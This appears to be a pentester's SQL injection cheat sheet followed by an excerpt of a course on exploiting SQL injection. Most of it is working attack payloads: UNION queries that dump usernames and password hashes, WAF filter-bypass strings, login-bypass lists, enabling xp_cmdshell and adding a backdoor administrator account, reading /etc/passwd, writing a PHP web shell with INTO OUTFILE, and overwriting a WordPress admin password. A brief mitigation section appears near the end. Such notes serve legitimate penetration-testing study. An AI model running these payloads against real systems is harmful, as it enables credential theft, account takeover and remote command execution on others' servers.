SQL
1
https://blog.cobalt.io/a-pentesters-guide-to-sql-injection-sqli-16fd570c3532
Copied!

3306 - remotely

note to self - try https://sqlectron.github.io/ to connect remotely
1
mysql -h $ip -u root -p
2
show databases;
3
#find the database you want - eg wordpress_db
4
use wordpress_db;
5
show tables;
6
select * from wp_users;
Copied!
If you have root access remotely like the example above you can get access to the user's wordpress password.
Could not load image
If you can not crack the password you can change it to something you know - in fact just change the pass to something you know eg
1
SELECT ID, user_login, user_pass FROM wp_users WHERE user_login = 'admin';
2
#set the password for user admin to rowbot
3
UPDATE wp_users SET user_pass='c424ada17bf6e27794273b7db21cf950' WHERE user_login = 'admin';
Copied!
Could not load image
Could not load image
successfully log in

Identifying SQL Injection

Let's say that you have some site like this
1
http://$ip/news.php?id=5
Copied!
Or a form like this
Could not load image
Now to test if it is vulnerable you add to the end of url ' (quote).
1
http://$ip/news.php?id=5'
Copied!
If you get an error like:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar
That means its vulnerable !

Find the number of columns

To find number of columns you use statement ORDER BY (tells database how to order the result) so how to use it? Well just increment the number until you get an error.
1
http://$ip/news.php?id=5 order by 1/* <-- no error
2
http://$ip/news.php?id=5 order by 2/* <-- no error
3
http://$ip/news.php?id=5 order by 3/* <-- no error
4
http://$ip/news.php?id=5 order by 4/* <-- error (you get message like this Unknown column '4' in 'order clause' or something like that)
Copied!
That means that the database has 3 columns, cause you get an error on 4.

Check for UNION function

With union you can select more data in one SQL statement.
So you have:
1
http://$ip/news.php?id=5 union all select 1,2,3/* (you already found that number of columns are 3 in section 2). )
Copied!
If that doesn't work or you get some error, then try:
1
http://$ip/news.php?id=5 union all select 1,2,3 -- - #note the dashes at the end
Copied!
The dashes tells SQL not to process anything passed the 3, in the case above.
If you see some numbers on screen, i.e 1 or 2 or 3 then the UNION works!!

Check for MySQL version

Lets say that you have number 2 on the screen, now to check for version
You replace the number 2 with @@version or version() and get something like 4.1.33-log or 5.0.45 or similar.
It should look like:
1
http://$ip/news.php?id=5 union all select 1,@@version,3/*
Copied!
If you get an error:
"union + illegal mix of collations (IMPLICIT + COLLATIONS) ..."
you need is convert() function
1
http://$ip/news.php?id=5 union all select 1,convert(@@version using latin1),3/
Copied!
or with hex() and unhex()
1
http://$ip/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
Copied!
and you will get MySQL version

Getting table and column name

If the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) you must guess the table and column names
Common table names are:
1
users, admins, members ..
Copied!
Common column names are:
1
username, user, usr, user_name, password, pass, passwd, pwd etc..
Copied!
For example:
1
http://$ip/news.php?id=5 union all select 1,2,3 from admin/*
Copied!
If you see number 2 on the screen like before, and that's good, you know that there is a table called admin in the database. Else try another table name.
Now to check column names:
1
http://$ip/news.php?id=5 union all select 1,password,3 from admin/*
Copied!
If you get an error, then try the other column name
You will hopefully see the password on the screen in hash or plain-text, it depends of how the database is set up. For example i.e md5 hash, mysql hash, sha1...
Now you must complete query to look nice for that you can use concat() function (it joins strings).
1
http://$ip/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Copied!
Note that I put 0x3a, its hex value for : (so 0x3a is hex value for colon)
There is another way for that, char(58), ascii value for a colon
1
http://$ip/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Copied!
Now you get displayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser :D if can't guess the right table name, you can always try mysql.user (default) it has user and password columns, so example would be
1
http://$ip/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
Copied!

Test number of columns - Watch for Error

1
http://$ip/artists.php?artist=1 order by 1,2,3,4
2
http://$ip/artists.php?artist=1 order by 1,2,3,4 -- LIMIT 1
3
http://$ip/artists.php?artist=1 -1 union all select 1/*
4
http://$ip/artists.php?artist=1 -1 union all select 2/*
5
http://$ip/artists.php?artist=1 -1 union all select 3/*
6
http://$ip/artists.php?artist=1 -1 union all select 4/*
Copied!

Test Injectable columns - Watch for visual Indicators (WAF filters)

1
http://$ip/artists.php?artist=1 -1 union all select 1,2,3,4
2
http://$ip/listproducts.php?cat=1 -1 /*!UNiOn*/ /*!SeLEct*/ 1,database(),3,4,5,6,7,8,9,10,11
3
http://$ip/listproducts.php?cat=1%20%20-1%20%20%20/**//*!12345UNION%20SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11
4
http://$ip/listproducts.php?cat=1%20%20-1%20%20%20%20/**//*!50000UNION%20SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11
5
http://$ip/listproducts.php?cat=1%20%20-1%20%20/**/UNION/**//*!50000SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11
6
http://$ip/listproducts.php?cat=1%20%20-1%20%20%20/*!50000UniON%20SeLeCt*/%201,database%28%29,3,4,5,6,7,8,9,10,11
7
--*See the 'Web filter Bypass Keywords' below for more*--
Copied!

Enumerate Information

1
http://$ip/artists.php?artist=1 union all select 1,@@version,3,4
2
http://$ip/artists.php?artist=1 union all select 1,hex(unhex(@@version)),3,4
3
http://$ip/artists.php?artist=1 union all select 1,convert(@@version using latin1),3,4
Copied!

Enumerate Database

1
http://$ip/artists.php?artist=1 union all select 1,database(),3,4
Copied!

Enumerate Tables

1
http://$ip/listproducts.php?cat=1 -1 union all select 1,2,3,4,5,6,7,8,table_name,10,11 from information_schema.tables
Copied!

Enumerate columns

1
http://$ip/artists.php?artist=1 -1 union select all 1,2,column_name,4 from information_schema.columns where table_schema='database' and table_name='table_name' LIMIT 1,1 -- - LIMIT 1
Copied!

Enumerate RAW data

1
http://$ip/listproducts.php?cat=1 union select all 1,2,3,4,5,6,group_concat(uname,0x10a,email),8,9,10,11 FROM users
Copied!

Confirm MYSQL version - If Returns true then end value is true

1
http://$ip/listproducts.php?cat=1 and substring(@@version,1,1)=4
2
http://$ip/listproducts.php?cat=1 and substring(@@version,1,1)=5
Copied!

Test if subset works - If returns True then subset works

1
http://$ip/listproducts.php?cat=1 and (select 1)=1
Copied!

Test if subset works, test for mysql.user - If returns True then subset works

1
http://$ip/listproducts.php?cat=1 and (select 1 from mysql.user limit 0,1)=1
Copied!

Injection

1
@@hostname
2
@@tmpdir
3
@@datadir
4
@@basedir
5
@@log
6
@@log_bin
7
@@log_error
8
@@binlog_format
9
@@time_format
10
@@date_format
11
@@ft_boolean_syntax
12
@@innodb_log_group_home_dir
13
@@new
14
@@version
15
@@version_comment
16
@@version_compile_os
17
@@version_compile_machine
18
@@GLOBAL.have_symlink
19
@@GLOBAL.have_ssl
20
@@GLOBAL.VERSION
21
22
version()
23
table_name()
24
user()
25
system_user()
26
session_user()
27
database()
28
column_name()
29
collation(user())
30
collation(\N)
31
schema()
32
UUID()
33
current_user()
34
current_user
35
36
37
dayname(from_days(401))
38
dayname(from_days(402))
39
dayname(from_days(403))
40
dayname(from_days(404))
41
dayname(from_days(405))
42
dayname(from_days(406))
43
dayname(from_days(407))
44
45
monthname(from_days(690))
46
monthname(from_unixtime(1))
47
48
collation(convert((1)using/**/koi8r))
49
50
(select(collation_name)from(information_schema.collations)where(id)=1
51
(select(collation_name)from(information_schema.collations)where(id)=23
52
(select(collation_name)from(information_schema.collations)where(id)=36
53
(select(collation_name)from(information_schema.collations)where(id)=48
54
(select(collation_name)from(information_schema.collations)where(id)=50
55
------forever----
56
Copied!

Adding Gaps between requests

1
testtest nospace 0x1a
2
test*test * 0x2a
3
test:test : 0x3a
4
test::test :: 0x3a3a
5
testJtest J 0x4a
6
testZtest Z 0x5a
7
testjtest j 0x6a
8
testztest z 0x7a
9
testtest nospace 0x8a
10
testtest nospace 0x9a
11
test test SPACE 0x10a
Copied!

Web Filter Bypass 'union select' keyword strigns

1
union select
2
!UNiOn*/ /*!SeLEct*/
3
/**//*!12345UNION SELECT*//**/
4
/**//*!50000UNION SELECT*//**/
5
/**/UNION/**//*!50000SELECT*//**/
6
/*!50000UniON SeLeCt*/
7
union /*!50000%53elect*/
8
/*!%55NiOn*/ /*!%53eLEct*/
9
/*!u%6eion*/ /*!se%6cect*/
10
%2f**%2funion%2f**%2fselect
11
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
12
/*--*/union/*--*/select/*--*/
13
/*!union*/+/*!select*/
14
union+/*!select*/
15
/**/union/**/select/**/
16
/**/uNIon/**/sEleCt/**/
17
/**//*!union*//**//*!select*//**/
18
/*!uNIOn*/ /*!SelECt*/
19
+union+distinct+select+
20
+union+distinctROW+select+
21
+UnIOn%0D%0ASeleCt%0D%0A
22
/%2A%2A/union/%2A%2A/select/%2A%2A/
23
%2f**%2funion%2f**%2fselect%2f**%2f
24
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
Copied!

MySQL 5

For this you need information_schema. It holds all tables and columns in database
To get tables you use table_name and information_schema.tables:
1
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
Copied!
Here you replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now you must add LIMIT to the end of query to list out all tables.
1
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
Copied!
Note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, you change limit 0,1 to limit 1,1
1
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
Copied!
The second table is displayed. for third table you put limit 2,1
1
http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
Copied!
Increment until you get some useful like db_admin, poll_user, auth, auth_user etc...
To get the column names the method is the same. Here you use column_name and information_schema.columns the method is same as above so example would be
1
http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/
Copied!
The first column is displayed. the second one (you change limit 0,1 to limit 1,1)
1
http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
Copied!
The second column is displayed, so increment until you get something like username,user,login, password, pass, passwd etc. If you want to display column names for specific table use this query. (where clause) let's say that you found table users:
1
http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
Copied!
Now you get displayed column name in table users. Just using LIMIT you can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that you found columns user, pass and email. Now to complete query to put them all together. For that you use concat().
1
http://$ip/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
Copied!
What you get is user:pass:email from table users.
1
Copied!
The passwords are in hash format so you need to crack the hash. Try https://crackstation.net/
    Test error based sending ' " ; and look for errors.
    Test for boolean based sending ' or '1'='1 or or 1=1 and look for differences.
    Other boolean payloads:
    1
    2' or '1'='1
    2
    'or'a'='a
    3
    ' or 1=1 --
    4
    a' or 1=1 --
    5
    " or 1=1 --
    6
    a" or 1=1 --
    7
    ' or 1=1 #
    8
    " or 1=1 #
    9
    or 1=1 --
    10
    ' or 'x'='x
    11
    " or "x"="x
    12
    ') or ('x'='x
    13
    ") or ("x"="x
    14
    ' or username LIKE '%admin%
    Copied!
    Payloads, where username is 'admin':
    1
    ' or ( 1=1 and username='admin');
    2
    admin' --
    3
    %bf%27 or 1=1 --
    Copied!

MsSqli exploitation

The passwords are in hash format you need to crack the hash.
    Find injectable parameter, doing do boolean based:
    1
    1002' or '1'='1
    2
    1002' and '1'='1
    3
    1002' and '1'='2
    Copied!
    Find injectable parameter with time delays:
    1
    XX'; WAITFOR DELAY '0:0:5'--
    Copied!
    If it works you can try to enable xp_cmdshell:
    1
    EXEC sp_configure 'show advanced options', 1;
    2
    RECONFIGURE;
    3
    EXEC sp_configure 'xp_cmdshell', 1;
    4
    RECONFIGURE;
    Copied!
    Test xp_cmdshell using a time delay:
    1
    ';exec master..xp_cmdshell 'ping -n 5 127.0.0.1'; --
    Copied!
    Add user
    1
    ';exec master..xp_cmdshell 'net user pwned 1234 /ADD && net localgroup administrators pwned /ADD'; --
    Copied!
    If it did not work, try enumerating the database. Find col until no error tells you the columns:
    1
    1002' ORDER BY 1--
    2
    1002' ORDER BY 2--
    3
    1002' ORDER BY 3--
    Copied!
    Run union query with num of cols:
    1
    1002' UNION ALL SELECT null,NULL,NULL,NULL--
    Copied!
    Get data:
    1
    ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
    2
    ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(HOST_NAME() AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
    3
    ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(INJECTED_FUNCTION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL--
    4
    5
    DB_NAME()
    6
    user_name();
    7
    system_user
    Copied!
    Get hashes
    1
    1002' UNION ALL SELECT NULL,CHAR(113)+ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))+CHAR(98)+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS NVARCHAR(4000)),CHAR(32))+CHAR(113),NULL,NULL FROM master..sysxlogins--
    Copied!

MsSql error-based Exploitation

    Group by and having can be used to specify a search condition for a group and aggregate the result.
      Sending ' having 1=1-- should produce column 'table.column1' is invalid
      2. Sending ' group by table.column1 having 1=1-- should produce column 'table.column2' is invalid
      3. Sending ' group by table.column1,table.column2 having 1=1-- should end up generating no error when you specify all the columns.
    You can generate error and get debug info:
      Sending convert(int, @@version)-- should trigger the error failed when convering SQL Server...*
    Other payloads:
    1
    convert(int,user_name())--
    2
    convert(int, @@db_name())--
    Copied!
    If the DB runs as SA, you can run XP_CMDSHELL to get code execution.
    Useful queries:
    1
    SELECT Distinct TABLE_NAME FROM information_schema.TABLES
    2
    exec master.dbo.xp_cmdshell 'CMD'
    Copied!

MsSql blind exploitation

    For numeric contexts (look for differences):
    1
    and 1=1
    2
    and 1=2
    Copied!
    Once we found the injection, we can leak data from the DB by guessing one character at a time as follows:
    1
    AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109
    Copied!
    if it is true, we know the db_name starts with 109(m).
    Ask if the first character of the user is 'a':
    1
    and if(substring (user(),1,1)=’a’,SLEEP(5),1)--”
    Copied!
    Check if the admin table exists:
    1
    and IF(SUBSTRING ((select 1 from admin limit 0,1),1,1)=1,SLEEP(5),1)
    Copied!
Finding number of columns using ORDER BY
    We can use order by to sort the result by a given column number, if the column does not exist, we will get an error:
    1
    vuln.php?id=1 order by 9 # This throws no error
    2
    vuln.php?id=1 order by 10 # This throws error
    Copied!
MySql UNION code execution
    Joins the result of two queries
      Two queries should return the same # of columns.
      Data-types in columns of the select must be of the same orcompatible type.
    Once you have the right number of columns (i.e. 3) you can find the mysql version:
    1
    UNION SELECT @@version,NULL, NULL#'
    Copied!
    mysql users:
    1
    UNION SELECT table_schema,NULL,NULL FROM information_schema.columns#'
    Copied!
    if the result displays garbage from the first query, you can add a false condition to only show the union result AND 1=0 UNION...
    Read files
    1
    AND 1=0 UNION SELECT LOAD_FILE('C:\\boot.ini'),NULL,NULL #'
    Copied!
    Write files
    1
    AND 1=0 UNION SELECT 'bad content',NULL,NULL INTO OUTFILE 'C:\\random_file.txt' #'
    Copied!
    Other payloads:
    1
    -1 union all select @@version --
    2
    1 union SELECT user FROM mysql.user
    3
    1 union select 'foo' into outfile '/tmp/foo'
    4
    1 union select load_file('/etc/passwd')
    Copied!

MySql UNION db leak

    First, identify vulnerable parameter by causing true and false conditions:
    1
    or 1=1 vs or 1=2
    2
    and 1=2 vs and 1=1
    Copied!
    If the query is a select, the true should return all rows of the table and the other empty results.
    Next step is to gess the number of columns, you can do that by sending an union statement, you will get an error until you guess it:
    1
    id=1 union all select 1
    2
    id=1 union all select 1,2
    3
    id=1 union all select 1,2,3
    4
    ...
    Copied!
    You can get the name of the database by sending:
    1
    ?id=1 union all select 1,2,3,4,5 from XXX
    2
    Table 'gallery.XXX' doesn't existCould not select category
    Copied!
    You can use a comment *#* to finish the query, in case there is a group by after the context of the injection. You can select the users and passwords form the database with:
    1
    id=1 union all (select 1,2,3,4,5,6 from mysql.user)#
    Copied!
    Leak the password:
    1
    1 union (select password,2,3,4,5,6 from mysql.user)#
    Copied!
    Should produce:
    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*47FB3B1E573D80F44CD198DC65DE7764795F948E) order by dateuploaded desc limit 1' at line 1
    Copied!
    Find current user
    1
    SELECT user();
    2
    SELECT system_user();
    Copied!
    List all Users
    1
    SELECT user FROM mysql.user;
    Copied!
    List password hashes
    1
    SELECT host, user, password FROM mysql.user;
    Copied!
    List databases
    1
    SELECT schema_name FROM information_schema.schemata;
    2
    SELECT distinct(db) FROM mysql.db
    Copied!
    List columns
    1
    SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
    Copied!
    List tables
    1
    SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
    Copied!
    Exfiltrate the different rows of the table. First, find the number of rows in the table:
    1
    aa' UNION SELECT count(*), users.password FROM users; --
    Copied!
    Then select each row:
    1
    aa' UNION SELECT users.password, users.password FROM users LIMIT 1; --
    Copied!
    1
    aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 1; --
    Copied!
    1
    aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 2; --
    Copied!
    Exfiltrate the different rows of the table:
    1
    ' or 'x'='x' order by 1 desc --
    2
    ' or 'x'='x' order by 2 desc --
    3
    ...
    Copied!

MySql in-band, union based SQLI exploitation

    Enumerate user
    1
    ?id=1 union select 1,2,3,4,user(),6,7,8,9
    Copied!
    Enumerate version
    1
    ?id=1 union select 1,2,3,4,version(),6,7,8,9
    Copied!
    Get all tables
    1
    ?=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables
    Copied!
    Get all values from a specific column:
    1
    ?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users'
    Copied!
    Get username and password with a delimiter:
    1
    id=1 union select 1,2,3,4,concat(name,0x3a,password),6,7,8,9 FROM users
    Copied!
    Getting a shell
    1
    ?id=1 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php'
    Copied!
    Non interactive shell:
    echo 'use mysql; select * from user;' | mysql -uroot -h127.0.0.1
SQLI login bypass
    1
    -'
    2
    ' '
    3
    '&'
    4
    '^'
    5
    '*'
    6
    ' or ''-'
    7
    ' or '' '
    8
    ' or ''&'
    9
    ' or ''^'
    10
    ' or ''*'
    11
    "-"
    12
    " "
    13
    "&"
    14
    "^"
    15
    "*"
    16
    " or ""-"
    17
    " or "" "
    18
    " or ""&"
    19
    " or ""^"
    20
    " or ""*"
    21
    or true--
    22
    " or true--
    23
    ' or true--
    24
    ") or true--
    25
    ') or true--
    26
    ' or 'x'='x
    27
    ') or ('x')=('x
    28
    ')) or (('x'))=(('x
    29
    " or "x"="x
    30
    ") or ("x")=("x
    31
    ")) or (("x"))=(("x
    Copied!

Other tricks

    If space is filtered, you can use /**/ instead
    Sometimes you can bypassfilter by adding a new line; I.e. 123%0aor 1=1
    try boolean sqli using num=123 vs num=123-- (comments out the rest of the query)
Object to relational mapping (ORM) injection
    Try vectors like
    1
    \'
    2
    \"
    3
    OR 1--
    Copied!
Mitigation
    Parameterized Queries
    1
    "SELECT * FROM foo WHERE bar = ? ".setString( 1, var);
    Copied!
    Stored Procedures (with parameterized queries)
    1
    connection.prepareCall("{call sp_getAccountBalance(?)}").setString(1, custname);
    Copied!
    White List Input Validation
    Escaping All User Supplied Input
    Additional defenses
      Least Privilege
      White List Input Validation
      Views
      SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables

From SQL Injection to Shell

Inspecting HTTP headers

A lot of information can be retrieved by connecting to the web application using netcat or telnet:
1
$ telnet vulnerable 80
Copied!
Where:
    vulnerable is the hostname or the IP address of the server;
    80 is is the TCP port used by the web application (80 is the default value for HTTP).
By sending the following HTTP request:
1
GET / HTTP/1.1
2
Host: vulnerable
3
Copied!
It is possible to retrieve information on the version of PHP and the web server used just by observing the HTTP headers sent back by the server:
1
HTTP/1.1 200 OK
2
Date: Thu, 24 Nov 2011 04:40:51 GMT
3
Server: Apache/2.2.16 (Debian)
4
X-Powered-By: PHP/5.3.3-7+squeeze3
5
Vary: Accept-Encoding
6
Content-Length: 1335
7
Content-Type: text/html
8
9
10
Copied!
Here the application is only available via HTTP (nothing is runnning on the port 443). If the application was only available via HTTPs, telnet or netcat would not be able to communicate with the server, the tool openssl can be used:
1
$ openssl s_client -connect vulnerable:443
Copied!
Where:
    vulnerable is the hostname or the IP address of the server;
    443 is is the TCP port used by the web application (443 is the default value for HTTPs).
Using an application such as Burp Suite (http://portswigger.net/) set up as a proxy makes it easy to retrieve the same information:
HTTP headers in Burp

Using a directory Buster

The tool wfuzz (http://www.edge-security.com/wfuzz.php) can be used to detect directories and pages on the web server using brute force.
The following command can be run to detect remote files and directories:
1
$ python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
Copied!
The following options are used:
    -c to output with colors.
    -z file,wordlist/general/big.txt tells wfuzz to use the file wordlists/general/big.txt as a dictionary to brute force the remote directories' name.
    --hc 404 tells wfuzz to ignore the response if the response code is 404 (Page not Found)
    http://vulnerable/FUZZ tells wfuzz to replace the word FUZZ in the URL by each value found in the dictionary.
On some systems, you may need to replace
1
python wfuzz.py
Copied!
with
1
wfuzz
Copied!
Wfuzz can also be used to detect PHP script on the server:
1
$ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php
Copied!

Detection and exploitation of SQL injection

1
https://pentesterlab.com/exercises/from_sqli_to_shell/course
Copied!

Introduction to SQL

In order to understand, detect and exploit SQL injections, you need to understand the Structured Query Language (SQL). SQL allows a developer to perform the following requests:
    retrieve information using the SELECT statement;
    update information using the UPDATE statement;
    add new information using the INSERT statement;
    delete information using the DELETE statement.
More operations (to create/remove/modify tables, databases or triggers) are available but are less likely to be used in web applications.
The most common query used by web sites is the SELECT statement which is used to retrieve information from the database. The SELECT statement follows the following syntax:
1
SELECT column1, column2, column3 FROM table1 WHERE column4='string1'
2
AND column5=integer1 AND column6=integer2;
Copied!
In this query, the following information is provided to the database:
    the SELECT statement indicates the action to perform: retrieve information;
    the list of columns indicates what columns are expected;
    the FROM table1 indicates from what tables the records are fetched;
    the conditions following the WHERE statement are used to indicate what conditions the records should meet.
The string1 value is delimited by a simple quote and the integers integer1 and integer2 can be delimited by a simple quote (integer2) or just put directly in the query (integer1).
For example, let see what the request:
1
SELECT column1, column2, column3 FROM table1 WHERE column4='user'
2
AND column5=3 AND column6=4;
Copied!
will retrieve from the following table:
column1
column2
column3
column4
column5
column6
1
test
Paul
user
3
13
2
test1
Robert
user
3
4
3
test33
Super
user
3
4
Using the previous query, the following results will be retrieved:
column1
column2
column3
2
test1
Robert
3
test33
Super
As we can see, only these values are returned since they are the only ones matching all of the conditions in the WHERE statement.
If you read source code dealing with some databases, you will often see SELECT * FROM tablename. The * is a wildcard requesting the database to return all columns and avoid the need to name them all.

Detection based on Integers

Since error messages are displayed, it's quite easy to detect any vulnerability in the website. SQL injections can be detected using any and all of the following methods.All these methods are based on the general behaviour of databases, finding and exploiting SQL injections depends on a lot of different factors, although these methods are not 100% reliable on their own. This is why you may need to try several of them to make sure the given parameter is vulnerable.
Let's take the example of a shopping website, when accessing the URL /cat.php?id=1, you will see the picture article1. The following table shows what you will see for different values of id:
URL
Article displayed
/article.php?id=1
Article 1
/article.php?id=2
Article 2
/article.php?id=3
Article 3
The PHP code behind this page is:
1
<?php
2
$id = $_GET["id"];
3
$result= mysql_query("SELECT * FROM articles WHERE id=".$id);
4
$row = mysql_fetch_assoc($result);
5
// ... display of an article from the query result ...
6
?>
Copied!
The value provided by the user ($_GET["id]) is directly echoed in the SQL request.
For example, accessing the URL:
    /article.php?id=1 will generate the following request: SELECT * FROM articles WHERE id=1
    /article.php?id=2 will generate the following request SELECT * FROM articles WHERE id=2
If a user try to access the URL /article.php?id=2', the following request will be executed SELECT * FROM articles WHERE id=2'. However, the syntax of this SQL request is incorrect because of the single quote ' and the database will throw an error. For example, MySQL will throw the following error message:
1
You have an error in your SQL syntax; check the
2
manual that corresponds to your MySQL server
3
version for the right syntax to use near
4
''' at line 1
Copied!
This error message may or may not be visible in the HTTP response depending on the PHP configuration.
The value provided in the URL is directly echoed in the request and considered as an integer, this allows you to ask the database to perform basic mathematical operation for you:
    if you try to access /article.php?id=2-1, the following request will be sent to the database SELECT * FROM articles WHERE id=2-1, and the article1's information will be display in the web page since the previous query is equivalent to SELECT * FROM articles WHERE id=1 (the subtraction will be automatically performed by the database).
    if you try to access /article.php?id=2-0, the following request will be sent to the database SELECT * FROM articles WHERE id=2-0, and the article2's information will be displayed in the web page since the previous query is equivalent to SELECT * FROM articles WHERE id=2.
These properties provide a good method of detecting SQL injection:
    if accessing /article.php?id=2-1 displays article1 and accessing /article.php?id=2-0 displays article2, the subtraction is performed by the database, and you're likely to have found a SQL injection
    if accessing /article.php?id=2-1 displays article2 and accessing /article.php?id=2-0 displays article2 as well, it's unlikely that you have SQL injection on an integer, but you may have SQL injection on a string value as we will see.
    if you put a quote in the URL (/article.php?id=1'), you should receive an error.
Even if a value is an integer (for example categorie.php?id=1), it can be used as a string in the SQL query: SELECT * FROM categories where id='1'. SQL allows both syntax, however using a string in the SQL statement will be slower than using an integer.

Detection on Strings

As we saw before in "Introduction to SQL", strings in an SQL query are put between quotes when used as value (example with 'test'):
1
SELECT id,name FROM users where name='test';
Copied!
If SQL injection is present in the web page, injecting a single quote ' will break the query syntax and generate an error. Furthermore, injecting 2 times a single quote '' won't break the query anymore. As a general rule, an odd number of single quotes will throw an error, an even number of single quotes won't.
It is also possible to comment out the end of the query, so in most cases you won't get an error (depending on the query format). To comment out the end of the query you can use ' --.
For example the query, with an injection point in the test value:
1
SELECT id,name FROM users where name='test' and id=3;
Copied!
will become:
1
SELECT id,name FROM users where name='test' -- ' and id=3;
Copied!
and will get interpreted as:
1
SELECT id,name FROM users where name='test'
Copied!
However this test can still generate an error if the query follows the pattern below:
1
SELECT id,name FROM users where ( name='test' and id=3 );
Copied!
Since the right parenthesis will be missing once the end of the query is commented out. You can obviously try with one or more parenthesis to find a value that doesn't create an error.
Another way to test it, is to use ' and '1'='1, this injection is less likely to impact the query since it is less likely to break it. For example if injected in the previous query, we can see that the syntax is still correct:
1
SELECT id,name FROM users where ( name='test' and '1'='1' and id=3 );
Copied!
Furthermore and ' and '1'='1 is less likely to impact the semantic of the request and the results of with and without injection are likely to be the same. We can then compare it with the page generated using the following injection ' and '1'='0 which is less likely to create an error but is likely to change the semantic of the query.SQL injection is not an accurate science and a lot of things can impact the result of your testing. If you think something is going on, keep working on the injection and try to figure out what the code is doing with your injection to ensure it's an SQL injection.
In order to find the SQL injection, you need to visit the website and try these methods on all parameters for each page. Once you have found the SQL injection, you can move to the next section to learn how to exploit it.

Exploitation of SQL injections

Now We have found a SQL injection in the page http://vulnerable/cat.php, in order to go further, we will need to exploit it to retrieve information. To do so, we will need to learn about the UNION keyword available in SQL.

The UNION keyword

The UNION statement is used to put together information from two requests:
1
SELECT * FROM articles WHERE id=3 UNION SELECT ...
Copied!
Since it is used to retrieve information from other tables, it can be used as a SQL injection payload. The beginning of the query can't be modify directly by the attacker since it's generated by the PHP code. However using UNION, the attacker can manipulate the end of the query and retrieve information from other tables:
1
SELECT id,name,price FROM articles WHERE id=3
2
UNION SELECT id,login,password FROM users
Copied!
The most important rule, is that both statements should return the same number of columns otherwise the database will trigger an error.

Exploiting SQL injections with UNION

Exploiting SQL injection using UNION follows the steps below:
    1.
    Find the number of columns to perform the UNION
    2.
    Find what columns are echoed in the page
    3.
    Retrieve information from the database meta-tables
    4.
    Retrieve information from other tables/databases
In order to perform a request by SQL injection, you need to find the number of columns that are returned by the first part of the query. Unless you have the source code of the application, you will have to guess this number.
There are two methods to get this information:
    using UNION SELECT and increase the number of columns;
    using ORDER BY statement.
If you try to do a UNION and the number of columns returned by the two queries are different, the database will throw an error:
1
The used SELECT statements have a different
2
number of columns
Copied!
You can use this property to guess the number of columns. For example, if you can inject in the following query: SELECT id,name,price FROM articles where id=1. You will try the following steps:
    SELECT id,name,price FROM articles where id=1 UNION SELECT 1, the injection 1 UNION SELECT 1 will return an error since the number of columns are different in the two sub-parts of the query;
    SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2, for the same reason as above, the payload 1 UNION SELECT 1,2 will return an error;
    SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3, since both sub-parts have the same number of columns, this query won't throw an error. You may even be able to see one of the numbers in the page or in the source code of the page.
NB: this works for MySQL the methodology is different for other databases, the values 1,2,3,... should be changed to null,null,null, ... for database that need the same type of value in the 2 sides of the UNION keyword. For Oracle, when SELECT is used the keyword FROM needs to be used, the table dual can be used to complete the request: UNION SELECT null,null,null FROM dual
The other method uses the keyword ORDER BY. ORDER BY is mostly used to tell the database what column should be used to sort results:
1
SELECT firstname,lastname,age,groups FROM users ORDER BY firstname
Copied!
The request above will return the users sorted by the firstname column.
ORDER BY can also be used to with an integer to tell the database to sort by the column number X:
1
SELECT firstname,lastname,age,groups FROM users ORDER BY 3
Copied!
The request above will return the users sorted by the third column.
This feature can be used to detect the number of columns, if the column number in the ORDER BY statement is bigger than the number of columns in the query, an error is thrown (example with 10):
1
Unknown column '10' in 'order clause'
Copied!
You can use this property to guess the number of columns. For example, if you can inject in the following query: SELECT id,name,price FROM articles where id=1. You can try the following steps:
